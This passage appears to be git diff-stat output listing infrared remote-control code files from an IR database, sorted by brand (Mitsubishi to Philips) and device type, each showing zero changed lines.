.../optional-assets/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir | 0 .../_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir | 0 .../_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir | 0 .../_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Cable Box/18,0.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Cox/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Cox/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/DSS/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/DVR/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/IP box/16,0.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Remote/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Remote/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir | 0 .../_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir | 0 .../_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir | 0 .../_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir | 0 .../_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir | 0 .../optional-assets/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir | 0 .../optional-assets/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir | 0 .../_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir | 0 .../optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Myryad/Receiver/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Myryad/Receiver/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Myryad/Receiver/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Myryad/Receiver/18,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Myryad/Receiver/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Myryad/Receiver/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Myryad/Receiver/23,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NAD/Amplifier/135,124.ir | 0 .../optional-assets/_CSV-IRDB_/NAD/CD Player/133,111.ir | 0 .../optional-assets/_CSV-IRDB_/NAD/CD Player/135,124.ir | 0 .../optional-assets/_CSV-IRDB_/NAD/CD Player/42,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir | 0 .../optional-assets/_CSV-IRDB_/NAD/Monitor/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NAD/Receiver/135,124.ir | 0 .../optional-assets/_CSV-IRDB_/NAD/Surround Processor/135,124.ir | 0 .../optional-assets/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NAD/Tuner/135,124.ir | 0 .../optional-assets/_CSV-IRDB_/NAD/Unknown/135,124.ir | 0 .../optional-assets/_CSV-IRDB_/NAD/Unknown_451/135,124.ir | 0 .../optional-assets/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir | 0 .../optional-assets/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir | 0 .../optional-assets/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Monitor/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Monitor/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Receiver/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Receiver/26,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Receiver/26,197.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Receiver/26,225.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Receiver/26,228.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Receiver/26,231.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Receiver/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Surround Processor/26,228.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/TV/24,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/TV/24,24.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/TV/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown/25,231.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/VCR/10,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/VCR/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/VCR/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Video Projector/24,233.ir | 0 .../optional-assets/_CSV-IRDB_/NEC/Video Projector/24,247.ir | 0 .../optional-assets/_CSV-IRDB_/NET TV/TV/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir | 0 .../optional-assets/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir | 0 .../optional-assets/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir | 0 .../optional-assets/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir | 0 .../optional-assets/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir | 0 .../_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir | 0 .../_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir | 0 .../optional-assets/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir | 0 .../optional-assets/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir | 0 .../optional-assets/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir | 0 .../optional-assets/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Nokia/Satellite/24,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Nokia/Satellite/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir | 0 .../optional-assets/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir | 0 .../optional-assets/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir | 0 .../optional-assets/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir | 0 .../_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir | 0 .../_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir | 0 .../optional-assets/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir | 0 .../optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir | 0 .../optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir | 0 .../optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir | 0 .../optional-assets/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir | 0 .../_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/CD Player/132,117.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,109.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,13.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,44.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,108.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,109.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,109.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,37.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,109.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,44.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir | 0 .../optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir | 0 .../optional-assets/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir | 0 .../optional-assets/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir | 0 .../optional-assets/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir | 0 .../optional-assets/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir | 0 .../optional-assets/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir | 0 .../optional-assets/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir | 0 .../optional-assets/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir | 0 .../optional-assets/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir | 0 .../_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,0.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,28.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,4.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/TV/128,0.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/TV/128,1.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/TV/128,4.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/TV/128,9.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/VCR/144,0.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/VCR/144,1.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/VCR/144,5.ir | 0 .../optional-assets/_CSV-IRDB_/Panasonic/VCR/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir | 0 .../optional-assets/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Parasound/Receiver/134,97.ir | 0 .../optional-assets/_CSV-IRDB_/Parasound/Receiver/27,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Parasound/Receiver/3,240.ir | 0 .../_CSV-IRDB_/Parasound/Surround Processor/3,240.ir | 0 .../optional-assets/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/CD-R/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/CD-R/26,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/DSS/133,48.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/DSS/39,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/DVD Player/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Receiver/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Receiver/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Receiver/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Receiver/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Philips/Receiver/5,-1.ir | 0 